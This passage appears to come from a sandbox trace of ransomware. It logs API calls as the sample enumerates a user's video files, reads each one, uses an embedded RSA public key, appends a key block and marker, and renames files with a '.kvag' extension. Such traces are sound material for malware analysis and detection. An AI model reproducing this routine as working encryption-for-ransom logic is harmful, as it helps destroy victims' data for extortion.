(hObject=0x61c) returned 1 [0121.278] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\Rf5aukjBz6H8tbn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\rf5aukjbz6h8tbn.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\Rf5aukjBz6H8tbn.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\rf5aukjbz6h8tbn.avi.kvag")) returned 1 [0121.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4711b630, ftCreationTime.dwHighDateTime=0x1d4d240, ftLastAccessTime.dwLowDateTime=0x83911100, ftLastAccessTime.dwHighDateTime=0x1d4c651, ftLastWriteTime.dwLowDateTime=0x83911100, ftLastWriteTime.dwHighDateTime=0x1d4c651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vdLT", cAlternateFileName="")) returned 1 [0121.279] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27568440, ftCreationTime.dwHighDateTime=0x1d4ceb9, ftLastAccessTime.dwLowDateTime=0x9f2e4460, ftLastAccessTime.dwHighDateTime=0x1d4cb87, ftLastWriteTime.dwLowDateTime=0x9f2e4460, ftLastWriteTime.dwHighDateTime=0x1d4cb87, nFileSizeHigh=0x0, nFileSizeLow=0x5493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yp4Gqi-sptD2Jeuxd_nS.mp4", cAlternateFileName="YP4GQI~1.MP4")) returned 1 [0121.279] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\yp4Gqi-sptD2Jeuxd_nS.mp4") returned=".mp4" [0121.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\yp4Gqi-sptD2Jeuxd_nS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\yp4gqi-sptd2jeuxd_ns.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.279] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=21651) returned 1 [0121.280] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.282] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x546d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.282] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.283] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x5493, lpOverlapped=0x0) returned 1 [0121.284] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.284] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.284] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.284] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f10) returned 1 [0121.285] CryptCreateHash (in: hProv=0x3607f10, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.285] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.285] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.285] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.285] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.285] CryptReleaseContext (hProv=0x3607f10, dwFlags=0x0) returned 1 [0121.285] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.285] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.285] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.285] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.285] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.286] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.286] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.286] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.286] CloseHandle (hObject=0x61c) returned 1 [0121.287] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\yp4Gqi-sptD2Jeuxd_nS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\yp4gqi-sptd2jeuxd_ns.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\yp4Gqi-sptD2Jeuxd_nS.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\yp4gqi-sptd2jeuxd_ns.mp4.kvag")) returned 1 [0121.288] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27568440, ftCreationTime.dwHighDateTime=0x1d4ceb9, ftLastAccessTime.dwLowDateTime=0x9f2e4460, ftLastAccessTime.dwHighDateTime=0x1d4cb87, ftLastWriteTime.dwLowDateTime=0x9f2e4460, ftLastWriteTime.dwHighDateTime=0x1d4cb87, nFileSizeHigh=0x0, nFileSizeLow=0x5493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yp4Gqi-sptD2Jeuxd_nS.mp4", cAlternateFileName="YP4GQI~1.MP4")) returned 0 [0121.288] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.288] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.288] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.288] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\") returned="qC5iE91o3\\" [0121.288] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\") returned="PO z8nOyg\\" [0121.289] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.289] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.289] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.289] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.289] PathFindFileNameW (pszPath="") returned="" [0121.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbf2ec40, ftCreationTime.dwHighDateTime=0x1d4c590, ftLastAccessTime.dwLowDateTime=0xd459c1e0, ftLastAccessTime.dwHighDateTime=0x1d4d1cd, ftLastWriteTime.dwLowDateTime=0xd459c1e0, ftLastWriteTime.dwHighDateTime=0x1d4d1cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.291] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbf2ec40, ftCreationTime.dwHighDateTime=0x1d4c590, ftLastAccessTime.dwLowDateTime=0xd459c1e0, ftLastAccessTime.dwHighDateTime=0x1d4d1cd, ftLastWriteTime.dwLowDateTime=0xd459c1e0, ftLastWriteTime.dwHighDateTime=0x1d4d1cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.291] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd639f560, ftCreationTime.dwHighDateTime=0x1d4c7ce, ftLastAccessTime.dwLowDateTime=0xbb16baa0, ftLastAccessTime.dwHighDateTime=0x1d4d207, ftLastWriteTime.dwLowDateTime=0xbb16baa0, ftLastWriteTime.dwHighDateTime=0x1d4d207, nFileSizeHigh=0x0, nFileSizeLow=0x13a4f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4HsAslPDmPtlJF74pOu.swf", cAlternateFileName="4HSASL~1.SWF")) returned 1 [0121.291] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\4HsAslPDmPtlJF74pOu.swf") returned=".swf" [0121.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\4HsAslPDmPtlJF74pOu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\4hsaslpdmptljf74pou.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.292] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=80463) returned 1 [0121.292] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.294] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13a29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.294] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.296] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x13a4f, lpOverlapped=0x0) returned 1 [0121.297] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.297] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.297] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.297] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f98) returned 1 [0121.298] CryptCreateHash (in: hProv=0x3607f98, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.298] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.298] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.298] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.298] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.298] CryptReleaseContext (hProv=0x3607f98, dwFlags=0x0) returned 1 [0121.298] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.298] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.298] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.298] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.299] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13a4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.299] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.299] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.299] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.299] CloseHandle (hObject=0x61c) returned 1 [0121.300] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\4HsAslPDmPtlJF74pOu.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\4hsaslpdmptljf74pou.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\4HsAslPDmPtlJF74pOu.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\4hsaslpdmptljf74pou.swf.kvag")) returned 1 [0121.302] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b693340, ftCreationTime.dwHighDateTime=0x1d4d1d4, ftLastAccessTime.dwLowDateTime=0x7c7ff8d0, ftLastAccessTime.dwHighDateTime=0x1d4d4f3, ftLastWriteTime.dwLowDateTime=0x7c7ff8d0, ftLastWriteTime.dwHighDateTime=0x1d4d4f3, nFileSizeHigh=0x0, nFileSizeLow=0x6153, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dFcnG6SW.avi", cAlternateFileName="")) returned 1 [0121.302] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\dFcnG6SW.avi") returned=".avi" [0121.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\qC5iE91o3\\dFcnG6SW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\qc5ie91o3\\dfcng6sw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.302] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=24915) returned 1 [0121.302] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.305] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x612d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.305] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.306] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x6153, lpOverlapped=0x0) returned 1 [0121.307] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.307] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.307] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.307] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f98) returned 1 [0121.308] CryptCreateHash (in: hProv=0x3607f98, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.308] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.308] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.308] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.308] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.308] CryptReleaseContext (hProv=0x3607f98, dwFlags=0x0) returned 1 [0121.309] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.309] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.309] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.309] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.309] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6153, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.309] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.309] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.309] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.309] CloseHandle (hObject=0x61c) returned 1 [0121.310] MoveFileW 